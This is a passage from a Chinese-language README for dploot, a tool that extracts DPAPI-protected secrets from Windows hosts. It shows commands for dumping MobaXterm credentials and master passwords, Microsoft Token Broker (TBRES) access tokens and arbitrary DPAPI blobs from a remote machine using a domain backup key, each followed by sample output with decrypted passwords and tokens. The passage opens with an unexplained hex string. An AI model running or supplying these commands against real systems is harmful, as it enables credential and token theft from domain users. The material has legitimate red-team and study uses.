91d7fa2bd412bd8ce8d595ed1df2ea2ca1b9f02f0edba7a07ffddb81a6f2847a54ba0b1b8a6f78df0f5f2b29a347ce9b7b6f59e50c3828bfdefbba442f171c4c334c85ab7db48c6e4fd9acbd7d97e2ef59c56ad171b152c600977f6a19d8548ce931035995b5a3f6f70e2a4ac39ab071e39f8235ec3f238ac0017f71cbc4f52891d47ebb5114be9417a8d6a811a5c07025aa223fc6ac3dee729762ff1b34dab65cdce2a69887122d86054a03224fe9e982ad1071840ecdd18ebe3fc3eafa242d4a7bb917282fc2f157c6a9acef01871f70887e31e5b272fd20f39cf0256d96dde7f5380afca01917e57d04d11efa2e39051ca87ab61fd13e07555c8ab1137a8d916202ccd99b70c8ed080188fbf6691d621309441ac407865f985e44c5a2876a33f72a2bdef444b65d087eb150d8e83e9dc2eac198f0f3b9da26a32f2ba4d6b448ab4437778b74ecff7e94aae1020b2773469f80021ec4baaa202d859a21da601f3eff77b599f2249cc2e92019b97defbd2786599a9c331032db72356daec1236f703a6649aa5bc3eeef57177d9bb08d00844a573eb8fc356a36ffda43b2d790836a00fe632b124f280925bc13f1e60326ef0da237f2aaae721c0ffec02b84d09fe9f59d6aa68d19c61c9a794a0746ebe0d03af7563efa7ffef80462d10e30d65f2a9a75f44eba7b5222cffc49f331dc9f74bca51819e2b061ac558cc397bbf42e94ccb39625a584deb549eaf34dcfc2ecd9c9c0b0c2f65d4b6966d9e60a7a1c17c1848e7c7d7d4cd0054ad78a4991dbc8771aba7f26058fef848fd49fff622eed23e0dfcb453e178c189ae609cdb1aa2b1e4d4a8182c6dcd735581690d6fb52e5bddff1b37419cad1f84921235d5fa1e192c71bbada85527a14e7e06c53}
[-] Exporting domain backupkey to file key.pvk
mobaxterm 命令将从配置单元（HKU）中提取 MobaXterm 机密和主密码密钥，并使用 -mkfile FILE（一个或多个 {GUID}:SHA1）、-passwords FILE（user:password 组合）、-nthashes（user:nthash 组合）或 -pvk PVKFILE 来先解密主密钥，从而解密这些机密。如果用户未连接到远程目标，dploot 将下载并从 NTUSER.dat 中提取机密。
使用 pvk：```text
dploot mobaxterm -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{6dedb662-3f3c-43a7-bfc4-e2990a48d4dd}:32c4eeeac475910a33f531b56cf9d73f35490d5e {21f17bcd-eac1-4187-9538-a744f2c6e17b}:198eba83e088a59fd75e6435b38804d4973a2c1e
[*] Triage MobaXterm Secrets
[MOBAXTERM CREDENTIAL] Name: TEST Username: user Password: waza1234
[MOBAXTERM PASSWORD] Username: mobauser@mobaserver Password: 309554moba231082pass322883
### wam
**wam** 命令将搜索 Token Broker 缓存中的 TBRES 文件，并使用 `-mkfile FILE`（包含一个或多个 {GUID}:SHA1）、或 `-passwords FILE`（user:password 组合）、`-nthashes`（user:nthash 组合）或 `-pvk PVKFILE`（先解密主密钥）来解密其内容。
使用 `pvk`:```text
dploot wam -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3
{13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
[*] Triage Office Token Broken Cache for ALL USERS
[TBRES FILE]
Version: 1
expiration: 133668881920000000
responses: b'\x8aC\xed\x9f\xf4\xe6D!\x0c\x82\x86)\xab\x1d\xf9\xac'
WTRes_Token: access_token=eyJhb[...]
Tips: 您可以在 TBRES 文件中找到 Entra 用户的 Microsoft 访问令牌。
blob 命令将使用 -mkfile FILE（包含一个或多个 {GUID}:SHA1）、-masterkey {GUID}:SHA1，或使用 -passwords FILE（user:password 组合）、-nthashes（user:nthash 组合）或 -pvk PVKFILE（先解密主密钥）来解密 DPAPI blob。
使用 pvk：```text
dploot blob -d waza.local -u jsmith -p 'Password#123' -t 192.168.56.14 -pvk key.pvk -blob 'AQAAANCMnd8BF[...]'
[*] Connected to 192.168.56.14 as waza.local\jsmith (admin)
[*] Triage ALL USERS masterkeys
{d5efdaf1-9fd9-44e7-8bd1-7e017d458c14}:a7eac2a750069aa576e1e9f03f1dc37b2057adb3 {13405569-1685-49c7-90e2-0e7ce55e5b8b}:ab1b23d3380c53ac1dae1cdf62bc44b4db391bb9
[*] Trying to decrypt DPAPI blob
[BLOB] Version : 1 (1) Guid Credential : DF9D8CD0-1501-11D1-8C7A-00C04FC297EB MasterKeyVersion : 1 (1) Guid MasterKey : 13405569-1685-49C7-90E2-0E7CE55E5B8B Flags : 0 () Description : CryptAlgo : 00006603 (26115) (CALG_3DES) Salt : b'a5a15df8f0fb606897f28966dd5fcd9e' HMacKey : b'' HashAlgo : 00008004 (32772) (CALG_SHA) HMac : b'80b2dc6cee8d206d5dc5a9ef844f000a' Data : b'5ece8ce1dd8[...]
Data decrypted : b'0\x00\x00\x00\x01\x00\x00[...]'
***提示***：*你可以在 TBRES 文件中找到 Entra 用户的 Microsoft 访问令牌。*
## 致谢
这些项目在编写本工具时提供了很大帮助：
- [Impacket](https://github.com/SecureAuthCorp/impacket) 由社区维护
- [SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) 由 [Harmj0y](https://twitter.com/harmj0y) 开发
- [Mimikatz](https://github.com/gentilkiwi/mimikatz/) 由 [gentilkiwi](https://twitter.com/gentilkiwi) 开发
- [DonPAPI](https://github.com/login-securite/DonPAPI) 由 [LoginSecurite](https://twitter.com/LoginSecurite) 开发
- [WAMBam](https://github.com/xpn/WAMBam) 由 [_xpn_](https://twitter.com/_xpn_) 开发